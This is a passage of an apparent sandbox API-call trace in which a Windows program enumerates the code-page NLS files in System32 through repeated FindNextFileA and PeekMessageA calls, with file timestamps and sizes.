ftLastWriteTime.dwLowDateTime=0x289ae6dc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20880.NLS", cAlternateFileName="")) returned 1 [0144.565] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.565] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20871.NLS") returned="C_20871.NLS" [0144.565] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.565] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.565] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac96c108, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac96c108, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289ae6dc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20905.NLS", cAlternateFileName="")) returned 1 [0144.566] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.566] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac992267, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac992267, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289d483c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20924.NLS", cAlternateFileName="")) returned 1 [0144.566] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.566] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac58dd62, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac58dd62, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2a44fcfc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x2c222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20932.NLS", cAlternateFileName="")) returned 1 [0144.566] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.567] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6262de, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac6262de, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2a475e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x2a622, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20936.NLS", cAlternateFileName="")) returned 1 [0144.567] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.567] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac70ab18, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac70ab18, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2a49bfbc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x2b622, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20949.NLS", cAlternateFileName="")) returned 1 [0144.567] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.567] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac9b83c6, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac9b83c6, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289fa99c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_21025.NLS", cAlternateFileName="")) returned 1 [0144.588] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.589] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacb8143a, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacb8143a, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2954921c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_21027.NLS", cAlternateFileName="")) returned 1 [0144.589] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.590] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacb8143a, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacb8143a, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2954921c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_21866.NLS", cAlternateFileName="")) returned 1 [0144.590] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.590] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacc8bdd3, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacc8bdd3, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x296ec13c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_28591.NLS", cAlternateFileName="")) returned 1 [0144.590] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.590] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccd8091, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xaccd8091, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x296ec13c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_28592.NLS", cAlternateFileName="")) returned 1 [0144.590] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.590] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccd8091, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xaccd8091, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x296ec13c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_28593.NLS", cAlternateFileName="")) returned 1 [0144.590] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.591] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccfe1f0, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xaccfe1f0, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x296ec13c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_28594.NLS", cAlternateFileName="")) returned 1 [0144.591] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.591] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccfe1f0, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xaccfe1f0, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x296ec13c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_28595.NLS", cAlternateFileName="")) returned 1 [0144.591] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.591] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacd2434f, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacd2434f, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x296ec13c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_28596.NLS", cAlternateFileName="")) returned 1 [0144.591] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.592] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacd2434f, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacd2434f, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x296ec13c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_28597.NLS", cAlternateFileName="")) returned 1 [0144.592] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.592] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacd4a4ae, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacd4a4ae, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x296ec13c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_28598.NLS", cAlternateFileName="")) returned 1 [0144.592] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.592] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacd7060d, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacd7060d, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x296ec13c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_28599.NLS", cAlternateFileName="")) returned 1 [0144.592] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.592] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacd9676c, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacd9676c, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x296ec13c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="c_28603.nls", cAlternateFileName="")) returned 1 [0144.593] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.593] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacd9676c, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacd9676c, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2971229c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_28605.NLS", cAlternateFileName="")) returned 1 [0144.593] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.593] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacfaba9e, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacfaba9e, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e1033c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_437.NLS", cAlternateFileName="")) returned 1 [0144.593] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.593] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac9de525, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac9de525, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289fa99c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_500.NLS", cAlternateFileName="")) returned 1 [0144.593] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.594] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbcd6f8, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacbcd6f8, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x295bb63c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_708.NLS", cAlternateFileName="")) returned 1 [0144.594] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.594] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbf3857, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacbf3857, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x295bb63c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_720.NLS", cAlternateFileName="")) returned 1 [0144.594] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.594] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacfd1bfd, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacfd1bfd, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e1033c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_737.NLS", cAlternateFileName="")) returned 1 [0144.594] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.595] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacff7d5c, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacff7d5c, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e1033c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_775.NLS", cAlternateFileName="")) returned 1 [0144.595] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.595] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacff7d5c, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacff7d5c, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e1033c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_850.NLS", cAlternateFileName="")) returned 1 [0144.595] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.595] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad01debb, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xad01debb, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e1033c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_852.NLS", cAlternateFileName="")) returned 1 [0144.596] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.596] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad01debb, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xad01debb, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e3649c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_855.NLS", cAlternateFileName="")) returned 1 [0144.597] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.597] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad04401a, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xad04401a, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e3649c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_857.NLS", cAlternateFileName="")) returned 1 [0144.597] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.597] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad04401a, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xad04401a, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e3649c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_858.NLS", cAlternateFileName="")) returned 1 [0144.597] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.597] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad0902d8, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xad0902d8, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e3649c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_860.NLS", cAlternateFileName="")) returned 1 [0144.597] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.598] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad0b6437, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xad0b6437, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e3649c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_861.NLS", cAlternateFileName="")) returned 1 [0144.598] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.598] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad0dc596, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xad0dc596, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e3649c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_862.NLS", cAlternateFileName="")) returned 1 [0144.598] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.598] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad1026f5, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xad1026f5, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e5c5fc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_863.NLS", cAlternateFileName="")) returned 1 [0144.598] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.599] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad128854, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xad128854, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29e5c5fc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_864.NLS", cAlternateFileName="")) returned 1 [0144.599] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.599] FindNextFileA (in: hFindFile=0x502618, 